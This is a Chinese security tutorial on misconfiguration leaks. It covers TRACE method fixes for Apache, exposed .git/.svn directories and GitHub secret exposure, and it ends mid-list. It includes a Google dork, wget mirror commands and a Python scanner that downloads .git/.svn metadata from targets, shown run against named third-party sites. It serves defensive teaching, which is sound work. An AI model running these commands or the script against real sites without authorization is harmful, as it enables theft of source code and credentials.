注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
[TOC]
信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。
配置不当的分类:
(1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。 (2)对线上业务进行定时检查(培训+监控,辅助扫描)。 (3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。
补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件
,通过它实现对数据的采集和管理
TRACE方法信息泄露 漏洞名称:检测到目标服务器启用了TRACE方法 详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。
启用TRACE方法存在如下风险:
解决办法: 1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。 2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
.git /.svn 泄露源代码信息 漏洞名称:.git / .svn 配置不当导致源代码泄露 如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。 Google语法查找:
".git" intitle:"Index of"
Wget命令下载镜像查看
wget --mirror --include-directories=/.git http://10.10.17.222/test/.git/
wget --no-check-certificate --mirror --include-directories=/.git https://wvvdey-8080-ooqzry.dev.ide.live/.git
#[email protected]:~/10.10.17.222/test/.git$ index.html #克隆镜像到本地
WeiyiGeek.下载get的config
在svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,在svn1.7之后的版本通过访问.svn/wc.db ,存在一个SQLite数据库文件里面
wget --mirror --include-directories=/.svn http://xxx.com/.svn
auxiliary/scanner/http/svn_scanner #<1.6
auxiliary/scanner/http/svn_wcdb_scanner #>1.7
#如果采用sqlite3查看数据库 sqlite3.exe .svn/wc.db "select * from work _queue"
python gitsvnScan.py http://ricewater.cn/
python gitsvnScan.py http://ftp.yx56.cn/codebase/imgs
[!] .svn/entries写入成功
[!] .svn/wc.db 写入成功
利用代码下载:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : gitsvnScan.py
# @CreateTime : 2019/7/17 9:40
# @Author : WeiyiGeek
# @Function : git与svn信息泄露扫描
# @Software: PyCharm
import sys
import requests
def git(url):
try:
g = requests.get(url+'config', timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))
with open('gitconfig.txt','w') as config:
config.writelines(g.text)
print("[!] .git/config写入成功")
def svn(url):
try:
s = requests.get(url+'entries', timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))
if (s.status_code == 200):
with open('svnentries.txt','w') as config:
config.writelines(s.text)
print("[!] .svn/entries写入成功")
try:
s = requests.get(url + 'wc.db', timeout=5)
except Exception as e:
print("[*] 请求失败" + str(e))
if (s.status_code == 200):
with open('wc.db', 'wb') as config:
config.write(s.content)
print("[!] .svn/wc.db 写入成功")
def main(url):
gitPath = url+'/.git/'
svnPath = url+'/.svn/'
try:
g = requests.get(gitPath, timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))
if (g.status_code == 200):
git(gitPath)
try:
s = requests.get(svnPath, timeout=5)
except Exception as e:
print("[*] 请求失败" + str(e))
if (s.status_code == 200):
svn(svnPath)
else:
print("URL:", g.url, " status_code:", g.status_code)
print("URL:", s.url, " status_code:", s.status_code)
print("[*] 该站点不存在/.git或者/.svn信息泄露")
if __name__ == '__main__':
if len(sys.argv) <= 1:
print("usage: gitsvnScan.py http://url.com")
sys.exit(1)
main(str(sys.argv[1]))
github 信息泄露 GitHub 的私有仓库是需要花钱才能使用,大部分程序员使用的公共仓库,这就意味着任何人都能查看到你上传的文件,如果文件里包含敏感信息,那么将会造成以下安全隐患:
(1).如果是公司各种应用服务的登陆凭证,黑客可以轻而易举的进入内部人员访问区域,并获取到内部才能获得的信息。 (2).如果是公司的 web 项目代码,黑客可以通过代码审计,更容易的挖掘出漏洞来攻击公司网络。 (3).如果是公司的核心技术代码,可能会被商业竞争对手盗去,对公司造成经济上的损失。 还有就是有些公司直接使用开源项目的代码进行部署,没有对项目代码进行安全审核,如果该开源项目中包含了攻击者的恶意代码,也将会对公司造成安全隐患。
GitHub给开发者来方便的同时存在哪些安全隐患问题: